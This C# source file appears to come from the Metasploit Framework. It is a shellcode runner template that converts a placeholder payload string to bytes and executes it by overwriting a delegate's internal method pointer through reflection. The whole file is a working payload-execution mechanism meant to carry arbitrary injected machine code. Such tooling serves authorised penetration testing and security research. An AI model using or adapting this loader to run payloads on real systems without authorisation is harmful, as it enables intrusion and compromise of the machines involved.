rapid7/metasploit-framework

using System;
using System.Reflection;

namespace Shellcode
{
    class MainClass
    {
    public delegate uint Ret1ArgDelegate(uint arg1);
        static uint PlaceHolder1(uint arg1) { return 0; }
            
        unsafe static void Main(string[] args)
        {
            string shellcode = "MSF_PAYLOAD_SPACE";
            byte[] asmBytes = new byte[shellcode.Length];
            for (int i = 0; i < shellcode.Length; i++)
            {
                asmBytes[i] = Convert.ToByte(shellcode[i]);
            }
            fixed(byte* startAddress = &asmBytes[0]) // Take the address of our x86 code
            {
                // Get the FieldInfo for "_methodPtr"
                Type delType = typeof(Delegate);
                FieldInfo _methodPtr = delType.GetField("_methodPtr", BindingFlags.NonPublic | BindingFlags.Instance);
    
                // Set our delegate to our x86 code
                Ret1ArgDelegate del = new Ret1ArgDelegate(PlaceHolder1);
                _methodPtr.SetValue(del, (IntPtr)startAddress);
    
                // Enjoy
                uint n = (uint)0xdecafbad;
                n = del(n);
                Console.WriteLine("{0:x}", n);
            }
        }
    }
}